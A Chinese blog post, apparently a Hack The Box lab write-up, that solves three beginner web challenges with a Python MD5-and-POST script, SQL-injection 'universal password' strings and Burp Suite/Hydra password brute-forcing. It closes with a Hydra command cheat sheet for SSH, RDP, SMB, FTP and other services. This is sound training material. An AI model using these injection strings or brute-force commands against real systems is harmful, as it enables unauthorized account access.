社区所有版块导航
Python
python开源   Django   Python   DjangoApp   pycharm  
DATA
docker   Elasticsearch  
aigc
aigc   chatgpt  
WEB开发
linux   MongoDB   Redis   DATABASE   NGINX   其他Web框架   web工具   zookeeper   tornado   NoSql   Bootstrap   js   peewee   Git   bottle   IE   MQ   Jquery  
机器学习
机器学习算法  
Python88.com
反馈   公告   社区推广  
产品
短视频  
印度
印度  
Py学习  »  Python

[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)

Eastmount • 5 年前 • 818 次点击  

这是作者的系列网络安全自学教程,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步。前文详细讲解了hack the box在线渗透平台获取邀请码、注册过程。本文将分享Web渗透三道入门题目,它们包括Python编写md5加密发送Post、万能密码和URL路径猜测、BurpSuite和Hydra密码爆破等。基础性文章,希望对您有所帮助!同时,该网站题目细节不便于剧透,更希望大家去尝试,更多分享一些思想和工具用法。

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了B站、安全网站和参考文献中的文章,并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

下载地址: https://github.com/eastmountyxz/NetworkSecuritySelf-study

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识

前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。


一.Python发送Post请求

[20 Points] Emdee five for life [by L4mpje]

这是一道入门题目,其提示是“Can you encrypt fast enough?”。

在这里插入图片描述

host: docker.hackthebox.eu port:31060
打开网址显示如下图所示,MD5 encrypt this string(MD5加密这个字符串),并给出了“BK3ZuECdQYRyERJTXkpP”。

在这里插入图片描述

我们用在线md5加密,随便提交一串数字,其反馈结果为“Too slow”。

在这里插入图片描述

初始页面,不管怎么样点击Submit都会显示"Too slow!"

在这里插入图片描述

查看源代码如下图所示,也没有特别的隐藏或提示。

在这里插入图片描述

回头再看题目提示“Can you encrypt fast enough?”,这是一道常见的CTF题目。考察的是代码发送请求,而不是人为点击。我们试试Python代码,通过md5加密这个句子,然后发送post请求,它肯定比我们人为地访问网页再去加密速度快得多。

代码如下:

import requests
import hashlib
import re

# 访问目标网站
url = "http://docker.hackthebox.eu:31060/"
r = requests.session()
out = r.get(url)

# 定位节点位置
con = re.compile(r"<h3 align='center'>(\S+)</h3>", re.I)
# 获取MD5需要加密的字符串
str1 = con.findall(out.text)

# MD5加密字符串
str2 = hashlib.md5(str1[0].encode('utf-8')).hexdigest()

# 发送POST请求
data={'hash': str2}
out = r.post(url = url, data = data)

# 输出结果
print(out.text)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23

输出结果如下所示:HTB{I Love CSDN!},成功完整。

在这里插入图片描述


二.万能密码SQL注入

[30 Points] Cartographer [by Arrexel]
Some underground hackers are developing a new command and control server. Can you break in and see what they are up to?

在这里插入图片描述

访问网址如下图所示:

在这里插入图片描述

知识点:
万能密码通常是指开发人员在开发过程中使用超级管理员进行开发,开发完成后没有过滤掉这些常用的超级管理员;另一种是存在SQL漏洞管理员账号。下面分别进行讨论:

  • 万能密码:用户名 admin、密码admin,用户名admin、密码123456

  • 万能密码:用户名 ‘or’=‘or’、密码 ‘or’=‘or’
    原理解释:假设用户登录对应的语句为:
    select name, pwd from login where name=’’ and pwd=’’;
    如果用户名输入正确则直接登录,否则提示用户名或密码错误,使用万能密码后的SQL语句如下:
    select name, pwd from login where name=’‘or’=‘or’’ and pwd=’‘or’=‘or’’;
    核心代码,两个单引号匹配,即name=’’,然后or连接,单引号等于单引号(’=’)这是恒成立的,紧接着or连接两个单引号(’’),同理密码pwd。这样or连接的(’=’)是恒成立的,故返回结果为真,导致直接登录。

  • 万能密码:用户名 ‘or’’=’、密码’or’’=’
    原理解释:此时对应的SQL语句如下:
    select name, pwd from login where name=’‘or’’=’’ and pwd=’‘or’’=’’;

  • 万能密码:用户名’or’=’–、密码’or’=’–
    原理解释:此时对应的SQL语句如下:
    select name, pwd from login where name=’‘or’=’–’ and pwd=’‘or’=’–’;


这是一道SQL注入题目,我们将用户名和密码设置为万能密码admin、‘or’='or’均失败,那试试 ‘=’ 呢?

在这里插入图片描述

尝试分析源码或BurpSuite分析,如下图所示。

在这里插入图片描述

成功之后会进入下面的界面,还需要进一步提取Flag。

在这里插入图片描述

接着尝试将参数设置为flag呢?这考察目录扫描,最终后去的flag如下所示。

在这里插入图片描述

按照格式输入Flag提交即可,如:HTB{I love CSDN}。

在这里插入图片描述

同样,类似的题目我们可以尝试SQLMAP,看看能不能获取登录密码。


三.BurpSuite和Hydra密码爆破

[20 Points] Lernaean [by Arrexel] [22624 solvers]
Your target is not very good with computers. Try and guess their password to see if they may be hiding anything.
你的目标看上去并不是特别擅长电脑,试着猜一下他的密码看看他到底藏着什么…
这个挑战20分,难度还行,由Arrexel编辑上传。

在这里插入图片描述
访问之后如下图所示:
Administrator Login(管理员登录)
— CONFIDENTIAL — (保密)
Please do not try to guess my password! (不要试图猜中我的密码)

在这里插入图片描述

随便输入,提示“Invalid password!”(密码无效)。

在这里插入图片描述

查看源代码也没有什么提示信息,仅有一个输入框,form-post登录表单提交。随便试了几个弱密码,则页面左上角提示 “Invalid password”。

在这里插入图片描述

在HTB或CTF里有一个传统,就是通常题目名称就已经包含着相关提示,百度了一下题目Lernaean,发现这就是Hydra嘛,看这不是明摆着告诉我要暴力破吗?

在这里插入图片描述

密码爆破可以分为两种,一种是在线爆破,这种方hydra式一般要求待爆破的对象对我们来说是可以正常提供服务的,通俗来讲就是能够让我们通过一定的途径去尝试登录,或者是验证用户密码的正确性。另一种就是本地爆破,比如wifi抓包爆破wifi密码,只要提前抓到了wifi登录验证的数据包,就可以在本地电脑上进行爆破操作,而不需要路由器来参与验证密码的正确性。


1.BurpSuite登录爆破

参考作者前文: [网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例

在暴力爆破前,先要了解网站登录post表单中有何字段。最方便的方法就是使用谷歌浏览器自带的检视工具,发现只有一个password字段,接着尝试爆破。

第一步,设置BurpSuite代理端口。

在这里插入图片描述

第二步,设置浏览器代理IP地址“127.0.0.1”,端口“8080”,和BurpSuite一致即可。

在这里插入图片描述

启动浏览器代理,这里作者使用OWASP Mantra浏览器,读者使用自己的Chrome、Firefox均可。

OWASP Mantra 是由 Mantra 团队开发,面向渗透测试人员、Web 开发人员和安全专业人员的安全工具套件 (基于浏览器, 目前是 Chromium 和 Firefox ),包括扩展程序和脚本集合。

在这里插入图片描述

第三步,浏览器访问,然后BurpSuite截断,点击“Forward”。

在这里插入图片描述

如下图所示,浏览器中随机输入密码“123456”。

在这里插入图片描述

第四步,在界面中鼠标右键,在弹出菜单中选择“Send to Intruder”(Ctrl+I),此时会将请求数据分发给Intruder模块,并且Intruder变红。

在这里插入图片描述

鼠标选中请求数据页面中的Password参数值(需要进行暴力爆破的密码值),单击“Add§”按钮进行位置标记,TextBoxPwd=§123456§。


第五步,选择Payloads选项,单击“Load items form file”,在弹出的对话框中选择暴力爆破密码文件并单击“打开”按钮,将爆破密码列表导入。

在这里插入图片描述

注意,这里作者仅设置了最简单的密码,有两个爆破字典库供大家使用,一个22M,另一个是kali常用字典133M。

在这里插入图片描述

第六步,单击“Start attack”按钮开始爆破测试,分析输出结果。

输出结果如下图所示:

在这里插入图片描述

分析结果如下图所示,在弹出的窗口“Intruder attack”中可以根据返回长度Length的不同判断爆破是否成功,这里隐藏的密码是“xxxxxx”,它的长度最大并且为最终密码。注意,Length越大那么密码吻合就越大。

在这里插入图片描述

错误的密码Response反馈结果:

在这里插入图片描述

正确的密码Response反馈结果:

在这里插入图片描述

最终密码显示在BurpSuite返回的Response中,如下所示。

<h1 style='color: #fff;'>HTB{I Love Eastmount!}</h1>
<script type="text/javascript">
    window.location = "noooooooope.html"
</script>
  • 1
  • 2
  • 3
  • 4

提交即可:

在这里插入图片描述

PS:这里存在一个问题,我们的爆破密码使用它太慢,这里提供另一种方法。


2.Hydra登录爆破

hydra是一个极其强大的在线获取密码的工具(爆破神器),Hydra 可以根据使用者指定的用户名字典文件、密码字典文件、目标IP列表来暴力获取目标系统登录用户名和密码,并且其支持多种协议以及并发连接!

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-01-11 21:47:31
Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]

Options:
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -C FILE   colon separated "login:pass" format, instead of -L/-P options
  -M FILE   list of servers to attack, one entry per line, ':' to specify port
  -t TASKS  run TASKS number of connects in parallel per target (default: 16)
  -U        service module usage details
  -h        more command line options (COMPLETE HELP)
  server    the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service   the service to crack (see below for supported protocols)
  OPT       some service modules support additional input (-U for module help)
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14

这里参考“黑猫驿站”大神的结果。Hydra参数用户名为空,密码表为rockyou.txt,目标端口为35542,http-post-form表格参数要注意登录失败字符为"Invalid password!"。

hydra -l "" -P /usr/share/wordlists/rockyou.txt docker.hackthebox.eu http-post-form "/:password=^PASS^:Invalid password!" -s 35542
  • 1

密码爆破结果如下图所示,这里密码打一下码。

在这里插入图片描述

最后用burpsuite对登录(使用上方的密码)抓一次包,密码在h1中。

在这里插入图片描述

注意:这里需要用Burpsuite截包,如果用浏览器直接登录的话,页面会被强制重定向到nooooooope.html。


如何安装hydra呢?个人感受,安装环境还挺难的。
github代码如下: https://github.com/vanhauser-thc/thc-hydra

Linux安装:
Kali是安全从业人员常用的Linux系统,自带有大量安全工具集,Hydra自然也集成在里面,工具位置在密码攻击—在线攻击一栏,直接输入命令即可。

hydra -l "" -P pass-kali.txt docker.hackthebox.eu -s 31103 http-post-form "/:password=^PASS^:Invalid password!"
  • 1

在这里插入图片描述


Windows安装:
从github下载Windows版本,然后命令行模式下运行。
https://github.com/maaaaz/thc-hydra-windows

在这里插入图片描述

打开输入hydra.exe 就可以查看命令行帮助界面了。

在这里插入图片描述

作者使用了Hydra爆破,但服务器容易奔溃,如下图所示:

在这里插入图片描述

Hydra常用命令如下:

#ssh
hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh
#https
hydra -m /index.php -l username -P pass.txt IP https
#teamspeak
hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak
#cisco
hydra -P pass.txt IP cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
#smb
hydra -l administrator -P pass.txt IP smb
#pop3
hydra -l muts -P pass.txt my.pop3.mail pop3
#rdp
hydra IP rdp -l administrator -P pass.txt -V
#http-proxy
hydra -l admin -P pass.txt http-proxy://10.36.16.18
#telnet
hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V
#ftp:
hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra IP ftp -l 用户名 -P 密码字典 -e ns -vV
#get方式提交
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.php
#post方式提交
hydra -l admin -P pass.lst -o ok.lst -t 1 -f 127.0.0.1 http-post-form “index.php:name=^USER^&pwd=^PASS^:<title>invalido</title>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27

四.总结

这篇基础性文章就此结束,希望文章对您有所帮助。非常感谢师弟他们的推荐,也觉得自己的技术好浅,要学的知识好多。如果您是安全初学者,一步一步学习,多实践多尝试,大牛都是慢慢练成的。

转眼,自己已经写了400多篇文章了,非常值得纪念,今后也希望帮到更多的读者。最后,希望博友们多看看来时的路,生活不止有编程和论文,还有太多精彩需要我们去感受,祝好~

最后希望大家帮我CSDN博客之星投投票,每天可以投5票喔,谢谢大家!八年,在CSDN分享了410篇文章,15个专栏,400多万人次浏览,包括Python人工智能、数据挖掘、网络爬虫、图象处理、网络安全、JAVA网站、Android开发、LAMP/WAMP、C#网络编程、C++游戏、算法和数据结构、面试总结、人生感悟等。当然还有我和你的故事,感恩一路有你,感谢一路同行,希望通过编程分享帮助到更多人,也希望学成之后教更多学生。因为喜欢,所以分享,且看且珍惜,加油!我的学生们,等我学成归来~

投票地址: http://m234140.nofollow.ax.mvote.cn/opage/ed8141a0-ed19-774b-6b0d-39c3aaf89dde.html?from=singlemessage

(By:Eastmount 2020-01-13 中午13点写于武汉 http://blog.csdn.net/eastmount/ )


参考文献:
[1] 先知社区 hack the box - web题解
[2] Hack The Box Web Pentest 2019
[3] https://github.com/vanhauser-thc/thc-hydra
[4] Centos7安装Hydra(爆破神器) - 蛇皮皮蛋
[5] [HTB] Lernaean Write-up - 黑猫驿站
[6] Hydra安装及其用法 - littlecjx
[7] hydra(爆破神器)- 生活的理想
[8] https://github.com/vanhauser-thc/thc-hydra

Python社区是高质量的Python/Django开发社区
本文地址:http://www.python88.com/topic/52871
 
818 次点击